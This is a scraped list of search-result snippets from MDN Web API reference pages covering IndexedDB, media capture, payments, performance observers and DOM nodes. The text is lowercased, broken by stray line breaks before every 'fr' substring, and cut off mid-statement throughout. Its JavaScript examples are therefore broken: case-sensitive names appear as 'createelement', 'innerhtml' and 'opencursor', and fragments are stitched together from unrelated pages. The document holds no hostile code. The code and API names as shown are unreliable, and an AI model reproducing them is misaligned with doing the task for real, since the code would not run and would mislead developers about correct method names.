IDBKeyRange.only() - Web APIs
y("a"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'only' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.upper - Web APIs
upper); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upper' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.upperBound() - Web APIs
d("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperbound()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange.upperOpen - Web APIs
ropen); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperopen' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.clear() - Web APIs
clearing an object store consists of removing all records
from the object store and removing all records in indexes that reference the object store.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.count() - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then count the number of records in the store using count() — when the success handler fires, we log the count value (an integer) to the console.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.getKey() - Web APIs
this is for retrieving specific records
from an object store.
... recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.index() - Web APIs
example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.openCursor() - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store: var transaction = db.transaction("name", "readonly"); var objectstore = transaction.objectstore("name"); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { // cursor.value contains the ...
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBOpenDBRequest.onupgradeneeded - Web APIs
var magazines = db.createobjectstore("magazines"); var publisherindex = magazines.createindex("by_publisher", "publisher"); var
frequencyindex = magazines.createindex("by_
frequency", "
frequency"); } }; request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; db = request.result; populateanddisplaydata(); }; specifications specification status comment indexed dat...
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBOpenDBRequest - Web APIs
rget="_top"><rect x="291" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbopendbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits methods
from its parents idbrequest and eventtarget.
... methods no methods, but inherits methods
from its parents idbrequest and eventtarget.
IDBRequest.onerror - Web APIs
}; example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBRequest.onsuccess - Web APIs
}; example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBRequest.readyState - Web APIs
example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store in another request.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBRequest.result - Web APIs
syntax var myresult = request.result; value any example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBRequest.source - Web APIs
example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store in another request.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBTransaction.commit() - Web APIs
commit() can be used to start the commit process without waiting for events
from outstanding requests to be dispatched.
... browser compatibility the compatibility table on this page is generated
from structured data.
IDBTransaction.error - Web APIs
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed
from the dom standard.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBTransactionSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
IDBVersionChangeEvent - Web APIs
properties also inherits properties
from its parent, method.
... methods no specific method, but inherits properties
from its parent, method.
IDBVersionChangeRequest - Web APIs
methods inherits
from: idbrequest idbversionchangerequest.setversion updates the version of the database.
... browser compatibility the compatibility table on this page is generated
from structured data.
IIRFilterNode() - Web APIs
syntax var iirfilternode = new iirfilternode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
... browser compatibility the compatibility table on this page is generated
from structured data.
ImageCapture.getPhotoCapabilities() - Web APIs
example the following example, extracted
from chrome's image capture / photo resolution sample, uses the results
from getphotocapabilities() to modify the size of an input range.
... this example also shows how the imagecapture object is created using a mediastreamtrack retrieved
from a device's mediastream.
ImageCapture.getPhotoSettings() - Web APIs
example the following example, extracted
from chrome's image capture / photo resolution sample, uses the results
from getphotosettings() to modify the size of an input range.
... this example also shows how the imagecapture object is created using a mediastreamtrack retrieved
from a device's mediastream.
ImageCapture.takePhoto() - Web APIs
example this example is extracted
from this simple image capture demo.
... browser compatibility the compatibility table on this page is generated
from structured data.
ImageData() - Web APIs
the imagedata() constructor returns a newly instantiated imagedata object built
from the typed array given and having the specified width and height.
...this value is optional if an array is given: the height will be inferred
from the array's size and the given width.
InputEvent() - Web APIs
datatransfer: (optional) a datatransfer object containing information about richtext or plaintext data being added to or removed
from editible content.
... the inputeventinit dictionary also accepts fields
from uieventinit and
from eventinit dictionaries.
InputEvent.dataTransfer - Web APIs
the datatransfer read-only property of the inputevent interface returns a datatransfer object containing information about richtext or plaintext data being added to or removed
from editible content.
... browser compatibility the compatibility table on this page is generated
from structured data.
getVersion - Web APIs
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... getversion returns an object representing the version number
from the client version registry for the specified component.
Keyboard API - Web APIs
interfaces keyboard provides functions that retrieve keyboard layout maps and toggle capturing of key presses
from the physical keyboard.
... navigator.keyboard read only returns a keyboard object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses
from the physical keyboard.
LocalFileSystem - Web APIs
for example, you cannot run
from file://.
... browser compatibility the compatibility table on this page is generated
from structured data.
LocalMediaStream - Web APIs
however, getusermedia() now returns a mediastream instead, and this interface has been removed
from the specification.
...when the source of the stream is a connected device (such as a camera or microphone), capture of media
from the device is halted.
Location: ancestorOrigins - Web APIs
you can use location.ancestororigins in the script for a document to determine, for example, whenever the document is being
framed by a site which you don’t expect it to be
framed by.
... you can also use it to vary the behavior of the document based on what site or list of sites is
framing it.
Location: assign() - Web APIs
this happens if the origin of the script calling the method is different
from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain.
... living standard no change
from html5.
MIDIMessageEvent - Web APIs
a midimessage event is fired every time a midi message is sent
from a device represented by a midiinput, for example when a midi keyboard key is pressed, a knob is tweaked, or a slider is moved.
... examples // printing all messages to console navigator.requestmidiaccess().then(midiaccess => { array.
from(midiaccess.inputs).foreach(input => { input[1].onmidimessage = console.log; }) }); specifications specification status comment web midi apithe definition of 'midimessageevent' in that specification.
MSCandidateWindowShow - Web APIs
example in ie11, developers can detect the opening of the ime candidate window by listening to mscandidatewindowshow event, then call getcandidatewindowclientrect() function to find out where the candidate window is and position the suggestion ui away
from it: var context = document.getelementbyid("mysearchbox").msgetinputcontext(); context.addeventlistener("mscandidatewindowshow", candidatewindowshowhandler); function candidatewindowshowhandler(e) { var imerect = context.getcandidatewindowclientrect(); var suggestionrect = document.getelementbyid("mysuggestionlist").getboundingclientrect(); // check if the two rects intersect, and pos...
...ition them away
from each other.
MediaDevices.ondevicechange - Web APIs
because the example provides a handler for the devicechange event, the list is re
freshed any time a media device is attached to or removed
from the device running the sample.
... let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120,
framerate: 30 }, audio: { samplerate: 44100, samplesize: 16, volume: 0.25 } }).then(stream => { videoelement.srcobject = stream; updatedevicelist(); }) .catch(err => log(err.name + ": " + err.message)); }, false); we set up global variables that contain references to the <ul> elements that are used to list the audio and video devices: let audiol...
MediaError - Web APIs
media_err_network 2 some kind of network error occurred which prevented the media
from being successfully fetched, despite having previously been available.
...this text and its format is not defined by the specification and will vary
from one user agent to another.
MediaQueryList.addListener() - Web APIs
older browsers should use addlistener instead of addeventlistener since mediaquerylist only inherits
from eventtarget in newer browsers.
...in the new implementation the standard event mechanism is used, the callback is a standard function, and the event object is a mediaquerylistevent, which inherits
from event.
MediaQueryListEvent - Web APIs
properties the mediaquerylistevent interface inherits properties
from its parent interface, event.
... methods the mediaquerylistevent interface inherits methods
from its parent interface, event.
MediaRecorder.audioBitsPerSecond - Web APIs
this may differ
from the bit rate specified in the constructor (if it was provided).
... browser compatibility the compatibility table in this page is generated
from structured data.
MediaRecorder.ignoreMutedMedia - Web APIs
if this attribute is false, mediarecorder will record silence for audio and black
frames for video.
... browser compatibility the compatibility table in this page is generated
from structured data.
MediaSource.endOfStream() - Web APIs
for example, you might have a function that handles media chunk requests, separate
from other network requests.
...their sourcebuffer.updating property is true.) example the following snippet is
from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = '
frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info
frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasou...
MediaSource.setLiveSeekableRange() - Web APIs
syntax mediasource.setliveseekablerange(start, end) parameters start the start of the seekable range to set in seconds measured
from the beginning of the source.
... end the end of the seekable range to set in seconds measured
from the beginning of the source.
MediaStream.getVideoTracks() - Web APIs
note: the order of the tracks is not defined by the specification, and may not be the same
from one call to getvideotracks() to another.
... example the following example, extracted
from chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor.
MediaStreamAudioSourceOptions.mediaStream - Web APIs
the mediastreamaudiosourceoptions dictionary's mediastream property must specify the mediastream
from which to retrieve audio data when instantiating a mediastreamaudiosourcenode using the mediastreamaudiosourcenode() constructor.
... syntax mediastreamaudiosourceoptions = { mediastream: audiosourcestream; } mediastreamaudiosourceoptions.mediastream = audiosourcestream; value a mediastream representing the stream
from which to use a mediastreamtrack as the source of audio for the node.
MediaStreamEvent() - Web APIs
"bubbles", optional and defaulting to false, inherited
from eventinit, and indicating if the event must bubble or not.
... "cancelable", optional and defaulting to false, inherited
from eventinit, and indicating if the event can be canceled or not.
MediaStreamTrack.applyConstraints() - Web APIs
the applyconstraints() method of the mediastreamtrack interface applies a set of constraints to the track; these constraints let the web site or app establish ideal values and acceptable ranges of values for the constrainable properties of the track, such as
frame rate, dimensions, echo cancelation, and so forth.
...for example, you may prefer high-density video but require that the
frame rate be a little low to help keep the data rate low enough not overtax the network.
Using the MediaStream Recording API - Web APIs
when used with navigator.mediadevices.getusermedia(), it provides an easy way to record
from the user's input devices and instantly use the result in web apps.
...we register an event handler for this using mediarecorder.onstop, and finalize our blob there
from all the chunks we have received: mediarecorder.onstop = function(e) { console.log("recorder stopped"); const clipname = prompt('enter a name for your sound clip'); const clipcontainer = document.createelement('article'); const cliplabel = document.createelement('p'); const audio = document.createelement('audio'); const deletebutton = document.createelement('button'); clipconta...
MediaTrackConstraints.facingMode - Web APIs
"user" the video source is facing toward the user; this includes, for example, the
front-facing camera on a smartphone.
... "environment" the video source is facing away
from the user, thereby viewing their environment.
MediaTrackConstraints - Web APIs
framerate a constraindouble specifying the
frame rate or range of
frame rates which are acceptable and/or required.
...these may include backing buffers for windows to allow capture of window contents that are hidden by other windows in
front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
MediaTrackSettings.displaySurface - Web APIs
syntax displaysurface = mediatracksettings.displaysurface; value the value of displaysurface is a string that comes
from the displaycapturesurfacetype enumerated type, and is one of the following: application the stream's video track contains all of the windows belonging to the application chosen by the user.
...the window may be
from any application, not necessarily just
from within the user agent.
MediaTrackSettings.facingMode - Web APIs
"user" the video source is facing toward the user; this includes, for example, the
front-facing camera on a smartphone.
... "environment" the video source is facing away
from the user, thereby viewing their environment.
MediaTrackSettings.volume - Web APIs
the mediatracksettings dictionary's volume property is a double-precision floating-point number indicating the volume of the mediastreamtrack as currently configured, as a value
from 0.0 (silence) to 1.0 (maximum supported volume for the device).
... syntax var volume = mediatracksettings.volume; value a double-precision floating-point number indicating the volume,
from 0.0 to 1.0, of the audio track as currently configured.
MerchantValidationEvent.validationURL - Web APIs
the merchantvalidationevent property validationurl is a read-only string value providing the url
from which to fetch the payment handler-specific data needed to validate the merchant.
... syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring giving the url
from which to load payment handler specific data needed to complete the merchant verification process.
MessagePort: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <i
frame>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const target
frame = window.top.
frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value)...
...; }) target
frame.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
Microsoft API extensions - Web APIs
touch apis element.mszoomto() mscontentzoom msmanipulationevent msmanipulationstatechanged msmanipulationviewsenabled mspointerhover media apis htmlvideoelement.ms
framestep() htmlvideoelement.mshorizontalmirror htmlvideoelement.msinsertvideoeffect() htmlvideoelement.msislayoutoptimalforplayback htmlvideoelement.msisstereo3d htmlvideoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiodevicetype htmlmediaelement.mscleareffects() htmlmediaelement.msinsertaudioeffect() mediaerror.msextendedcode msgraphicstrust msgraphicstruststatu...
...s msisboxed msplaytodisabled msplaytopreferredsourceuri msplaytoprimary msplaytosource msrealtime mssetmediaprotectionmanager mssetvideorectangle msstereo3dpackingmode msstereo3drendermode onmsvideoformatchanged onmsvideo
framestepcompleted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flow
from x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconverturl() mselementresize document.mselements
fromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilermark ...
MouseEvent.clientX - Web APIs
working draft redefines mouseevent
from long to double.
... obsolete no change
from document object model (dom) level 2 events specification.
MouseEvent.clientY - Web APIs
working draft redefines mouseevent
from long to double.
... obsolete no change
from document object model (dom) level 2 events specification.
MouseEvent.screenX - Web APIs
working draft redefines mouseevent
from long to double.
... obsolete no change
from document object model (dom) level 2 events specification.
MouseEvent.screenY - Web APIs
working draft redefines mouseevent
from long to double.
... obsolete no change
from document object model (dom) level 2 events specification.
MutationObserver.MutationObserver() - Web APIs
the callback function function callback(mutationlist, observer) { mutationlist.foreach( (mutation) => { switch(mutation.type) { case 'childlist': /* one or more children have been added to and/or removed
from the tree.
...
from this point until disconnect() is called, callback() will be called each time an element is added to or removed
from the dom tree rooted at targetnode, or any of those elements' attributes are changed.
MutationObserver.disconnect() - Web APIs
usage notes if the element being observed is removed
from the dom, and then subsequently released by the browser's garbage collection mechanism, the mutationobserver is likewise deleted.
... example this example creates an observer, then disconnects
from it, leaving it available for possible reuse.
MutationObserverInit.childList - Web APIs
by setting childlist to true, your callback will be invoked any time nodes are added to or removed
from the dom node or nodes being watched.
... syntax var options = { childlist: true | false } value a boolean value indicating whether or not to invoke the callback function when new nodes are added to or removed
from the section of the dom being monitored..
NDEFMessage.records - Web APIs
the records property of ndefmessage interface represents a list of nde
frecords defining the ndef message.
... syntax var recordlist = ndefmessage.records; value a list of nde
frecord object that represent data recorded in the message.
NDEFWriter - Web APIs
methods ndefwriter.write() called to write ndef message to a tag (after ensuring hardware and ua compatibility and obtaining permission
from the user) or get an error explaining why feature is not available.
... specifications specification status comment web nfc, nde
freader draft initial definition.
NavigationPreloadManager - Web APIs
addeventlistener('fetch', event => { event.respondwith(async function() { // respond
from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... browser compatibility the compatibility table in this page is generated
from structured data.
Navigator.cookieEnabled - Web APIs
note: when the browser is configured to block third-party cookies, and navigator.cookieenabled is invoked inside a third-party i
frame, it returns true in safari, edge spartan and ie (while trying to set a cookie in such scenario would fail).
... example if (!navigator.cookieenabled) { // the browser does not support or is blocking cookies
from being set.
Navigator.registerContentHandler() - Web APIs
this feature has since been removed
from the html standard and shouldn't be used.
... recommendation this feature is present in html 5.2, but has since been removed
from the whatwg html living standard.
NavigatorLanguage.language - Web APIs
examples of valid language codes include "en", "en-us", "
fr", "
fr-
fr", "es-es", etc.
... note that in safari on ios prior to 10.2, the country code returned is lowercase: "en-us", "
fr-
fr" etc.
Node.childNodes - Web APIs
adding or removing children will change the list's `length` } } remove all children
from a node // this is one way to remove all children
from a node // box is an object reference to an element while (box.firstchild) { //the list is live so it will re-index each call box.removechild(box.firstchild); } notes the items in the collection of nodes are objects, not strings.
... to get data
from node objects, use their properties.
Node.firstChild - Web APIs
any whitespace will create a #text node,
from a single space to multiple spaces, returns, tabs, and so on.
... if this whitespace is removed
from the source, the #text nodes are not inserted and the span element becomes the paragraph's first child.
Node.parentNode - Web APIs
the parent of an element is an element node, a document node, or a document
fragment node.
... example if (node.parentnode) { // remove a node
from the tree, unless // it's not in the tree already node.parentnode.removechild(node); } notes document and document
fragment nodes can never have a parent, so parentnode will always return null.
NodeIterator.whatToShow - Web APIs
nodefilter.show_document_
fragment 1024 shows document
fragment nodes.
... living standard no change
from document object model (dom) level 2 traversal and range specification.
NotificationAction - Web APIs
here a service worker shows a notification with a single "archive" action, allowing users to perform this common task
from the notification without having to open the website.
... self.registration.shownotification("new mail
from alice", { actions: [ { action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api living standard living standard ...
Notifications API - Web APIs
firefox is already doing this
from version 72, for example.
... this will spawn a request dialog, along the following lines:
from here the user can choose to allow notifications
from this origin, or block them.
OfflineAudioContext.length - Web APIs
the length property of the offlineaudiocontext interface returns an integer representing the size of the buffer in sample-
frames.
... syntax var length = offlineaudiocontext.length; value an integer representing the size of the buffer in sample-
frames.
OfflineAudioContext.suspend() - Web APIs
for this reason, it is not allowed to schedule multiple suspends at the same quantized
frame.
... invalidstateerror if the quantized
frame number is one of the following: a negative number is less than or equal to the current time is greater than or equal to the total render duration is scheduled by another suspend for the same time specifications specification status comment web audio apithe definition of 'suspend()' in that specification.
PageTransitionEvent.persisted - Web APIs
the persisted read-only property indicates if a webpage is loading
from a cache.
... syntax window.addeventlistener('pageshow', function(event) { if (event.persisted) { console.log('page was loaded
from cache.'); } }); value a boolean.
PageTransitionEvent - Web APIs
116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">pagetransitionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, event.
... pagetransitionevent.persisted read only indicates if the document is loading
from a cache.
PannerNode.distanceModel - Web APIs
the distancemodel property of the pannernode interface is an enumerated value determining which algorithm to use to reduce the volume of the audio source as it moves away
from the listener.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
PannerNode.panningModel - Web APIs
hrtf: renders a stereo output of higher quality than equalpower — it uses a convolution with measured impulse responses
from human subjects.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
PannerNode.rolloffFactor - Web APIs
the rollofffactor property of the pannernode interface is a double value describing how quickly the volume is reduced as the source moves away
from the listener.
... example this example demonstrates how different rollofffactor values affect how the volume of the test tone decreases with increasing distance
from the listener: const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 4; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given rollofffactor // and schedules it to move away
from the listener along the z (depth-wise) axis // at the given start time, resulting in a decreas...
PannerNode.setOrientation() - Web APIs
in such a case, a sound pointing away
from the listener can be very quiet or even silent.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
PannerNode.setVelocity() - Web APIs
this method was removed
from the specification because of gaps in its design and implementation problems.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
ParentNode.lastElementChild - Web APIs
syntax const element = node.lastelementchild example <ul id="foo"> <li>first (1)</li> <li>second (2)</li> <li>third (3)</li> </ul> <script> const foo = document.getelementbyid('foo'); console.log(foo.lastelementchild.textcontent); // logs: third (3) </script> polyfill the code below adds support of lastelementchild() to document and document
fragment in internet explorer and safari.
... the document and document
fragment implemented the new interfaces.
ParentNode.prepend() - Web APIs
serz/js_piece/blob/master/dom/parentnode/prepend()/prepend().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('prepend')) { return; } object.defineproperty(item, 'prepend', { configurable: true, enumerable: true, writable: true, value: function prepend() { var argarr = array.prototype.slice.call(arguments), doc
frag = document.createdocument
fragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; doc
frag.appendchild(isnode ?
... argitem : document.createtextnode(string(argitem))); }); this.insertbefore(doc
frag, this.firstchild); } }); }); })([element.prototype, document.prototype, document
fragment.prototype]); specification specification status comment domthe definition of 'parentnode.prepend()' in that specification.
ParentNode.querySelectorAll() - Web APIs
note: this method is implemented as element.queryselectorall(), document.queryselectorall(), and document
fragment.queryselectorall() syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against.
... var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <i
frame> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("i
frame[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("...
PayerErrors.phone - Web APIs
if the payer's phone number validated successfully, the phone property is omitted
from the payererrors object.
... if the phone number is valid, this property is omitted
from the payererrors object.
PayerErrors - Web APIs
properties email optional if present, this domstring is a string describing the validation error
from which the payer's email address—as given by paymentresponse.payeremail—currently suffers.
... if this property is absent
from the payererrors object, the email address passed validation.
PaymentCurrencyAmount - Web APIs
this string must only contain an optional leading "-" to indicate a negative value, then one or more digits
from 0 to 9, and an optional decimal point (".", regardless of locale) followed by at least one more digit.
... obsolete properties these properties have been removed
from the specification and should no longer be used.
PaymentDetailsBase - Web APIs
shippingoptionsoptional an array of paymentshippingoption objects, each describing one available shipping option
from which the user may choose.
...this can be delivered to the payment interface using either paymentdetailsupdateevent.updatewith() or by returning it
from the optional detailsupdate promise provided to the paymentrequest.show() call that begins the user interaction.
PaymentRequest: merchantvalidation event - Web APIs
it uses the fetch() to send a request to its own server with an argument of the payment method's validation url, obtained
from the event's validationurl property.
...the content delivered by the validation server is forwarded to the merchant server and is then returned
from the fetch() call's fulfillment handler to the complete() method on the event.
PaymentRequest.shippingAddress - Web APIs
.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = '
free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.sh...
... browser compatibility the compatibility table on this page is generated
from structured data.
PaymentRequest: shippingoptionchange event - Web APIs
for payment requests that request shipping information, and for which shipping options are offered, the shippingoptionchange event is sent to the paymentrequest whenever the user chooses a shipping option
from the list of available options.
...for example, if there are three options (such as "
free ground shipping", "2-day air", and "next day"), each time the user chooses one of those options, this event handler is called to recalculate the total based on the changed shipping option.
PaymentRequest - Web APIs
the payment request api's paymentrequest interface the primary access point into the api, and lets web content and apps accept payments
from the end user on behalf of the operator of the site or the publisher of the app.
... paymentmethodchange secure context with some payment handlers (e.g., apple pay), dispatched whenever the user changes payment instrument, like switching
from a credit card to a debit card.
PaymentRequestUpdateEvent - Web APIs
properties provides only the properties inherited
from its parent interface, event.
... methods in addition to methods inherited
from the parent interface, event, paymentrequestupdateevent offers the following methods: paymentrequestupdateevent.updatewith() secure context if the event handler determines that information included in the payment request needs to be changed, or that new information needs to be added, it calls updatewith() with the information that needs to be replaced or added.
Payment processing concepts - Web APIs
if merchant validation is supported by the payment handler, respond to merchant validation requests
from the user agent.
... paymentrequest.onmerchantvalidation = function(event) { event.complete(fetchvalidationdata(event.validationurl)); } in this example, fetchvalidationdata() is a function which loads the payment handler specific identifying information
from the address given by validationurl.
performance.clearMarks() - Web APIs
the clearmarks() method removes the named mark
from the browser's performance entry buffer.
... if the method is called with no arguments, all performance entries with an entry type of "mark" will be removed
from the performance entry buffer.
PerformanceEntry - Web APIs
performanceentry instances will always be one of the following subtypes: performancemark performancemeasure performance
frametiming performancenavigationtiming performanceresourcetiming performancepainttiming note: this feature is available in web workers.
...
frame timing draft adds the performance
frametiming interface and the
frame value for entrytype.
PeformanceObserver.disconnect() - Web APIs
the disconnect() method of the performanceobserver interface is used to stop the performance observer
from receiving any performance entry events.
... syntax performanceobserver.disconnect(); example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "
frame" events } }); observer.observe({entrytypes: ["mark", "
frame"]}); function perf_observer(list, observer) { // process the "measure" event // ...
PerformanceObserver.observe() - Web APIs
examples this example creates and configures two performanceobservers; one watches for "mark" and "
frame" events, and the other watches for "measure" events.
... var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "
frame" events } }); observer.observe({entrytypes: ["mark", "
frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification.
PerformanceObserverEntryList.getEntriesByType() - Web APIs
syntax entries = list.getentriesbytype(type); parameters type the type of entry to retrieve such as "
frame".
... perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['
frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_
frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have '
frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the '
frame' event observe_
frame.observe({entrytypes: ['
frame']}); specificat...
